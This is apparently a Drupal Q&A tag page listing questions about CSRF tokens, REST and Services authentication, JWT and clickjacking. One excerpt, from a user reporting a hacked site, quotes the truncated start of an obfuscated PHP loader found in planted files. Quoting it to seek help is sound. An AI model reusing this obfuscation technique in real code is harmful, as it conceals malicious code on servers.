Questions tagged [csrf]
Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF (sometimes pronounced sea-surf) or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts
0
votes
0answers
107 views
How can I validate the form_build_id in Drupal 8 form submissions?
Drupal will accept a form submission without a valid form_build_id which opens it up to XSS attacks. The form gets submitted even If I delete the hidden form_build_id input element.
I can submit the ...
0
votes
0answers
264 views
How to get the JWT token via webservice
After enabling the JWT module. and following Using JSON Web Tokens (JWT) to Authenticate Requests to REST Resources in Drupal 8 on how to use it, it is working.
I know I can access the user JWT ...
0
votes
1answer
2k views
Request header field X-CSRF-Token is not allowed by Access-Control-Allow-Headers in preflight response for Drupal 7 REST API
I have few APIs created in Drupal 7 which uses session authentication. Now when I get the CSRF token and try to use it in my API call, I get following error:
Request header field X-CSRF-Token is not ...
1
vote
1answer
530 views
How to handle session for anonymous users for CSRF tokens?
I need to provide list of CSRF tokens in drupalSettings for every anonymous user so JS can make safe requests to api endpoints.
The CSRF service mentions the need for session to exist for the seed ...
0
votes
1answer
346 views
Unauthorized : CSRF validation failed issue for Logged in user
I need to hide button for Logged in user. For that I have written the following code in dashboard.js file.
Code working fine for anonymous user. But not working for Logged in user.
$(document).on("...
1
vote
0answers
282 views
“CSRF validation failed” using “Session Token authentication only”
Having problem in CSRF validation when using Session Token authentication only using services_session_token_auth 7.x-1.x-dev module.
already set the token but it keeps throwing CSRF validation failed....
-1
votes
1answer
134 views
How to fix “Clickjacking”?
I have got this vulnerability "#150124 Clickjacking - Framable Page". Can anyone suggest how to fix this vulnerability for a Drupal 6 site?
3
votes
2answers
1k views
Generating URL with CSRF token
I have a route that requires a CSRF token:
mp.ajax.authorized:
path: /mp/ajax/authorized
defaults:
_controller: 'Drupal\mp\Controller\AjaxController::authorizedCallback'
requirements:
...
0
votes
1answer
667 views
Login Users sessions persistence using Services and Rest Server modules
I'm having a heck of a time creating drupal services from angular hitting the rest server. I created a rest end point for all my authentication needs, configured in the Service module. When I use ...
0
votes
2answers
386 views
Get user ID from CSRF token
Is there any way how can i programmatically get user ID from CSRF token?
I´m using web service and need to update user data according to user token.
Thanks
0
votes
1answer
399 views
CSRF token not working (access denied)
I can get CSRF token to be generated on particular route by putting _crsf_token in a routing file, but on visiting that route , I keep getting an Access Denied error.
Removing CSRF token line from ...
2
votes
1answer
349 views
Services CSRF Token request security
A Drupal website that my company is maintaining has a REST endpoint, using Drupal Services (likely not that relevant). One of the systems that I'm writing has to write changes in the system to that ...
2
votes
3answers
525 views
Menu Callback and CSRF
How can I get a link with the correct csrf token for an internal path? Here is what I have:
in mymodule.routing.yml
mymodule.test:
path: '/mymodule-test'
defaults:
_content: 'Drupal\mymodule\...
2
votes
1answer
173 views
My site is hacked [duplicate]
It looks like my Drupal site is hacked, I see lot of new files in my web-sever containing following code:
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$...
0
votes
2answers
3k views
Services 3 Session authentication CSRF Validation with Persistent Log in
I am trying to use Services 7.x-3.11, the latest stable available to authenticate and access Drupal 7.34. Accessing from mobile devices with Native coding. I want to keep the user authenticated ...
1
vote
2answers
576 views
csrfToken: reget without logout user
I have a site where I use AngularJS to connect to Services module paths.
Now, we know that I need to send (for every put connection) the CSRF token into headers request, and this token is linked to ...
2
votes
1answer
6k views
Problems with Services and CSRF token
I've been trying to create a user via webservice without doing any custom coding or curl.
This post got me 75% there: How to create test_endpoint?
I finally got it working, but only by passing in my ...
2
votes
1answer
2k views
Creating a node with PHP cURL client returns 401 error - X-CSRF token always empty [closed]
A recent update to Services and Drupal requires a csrf token, and it broke the PHP cURL client samples.
I am trying the sample code for Services to:
Create a node here https://drupal.org/node/...
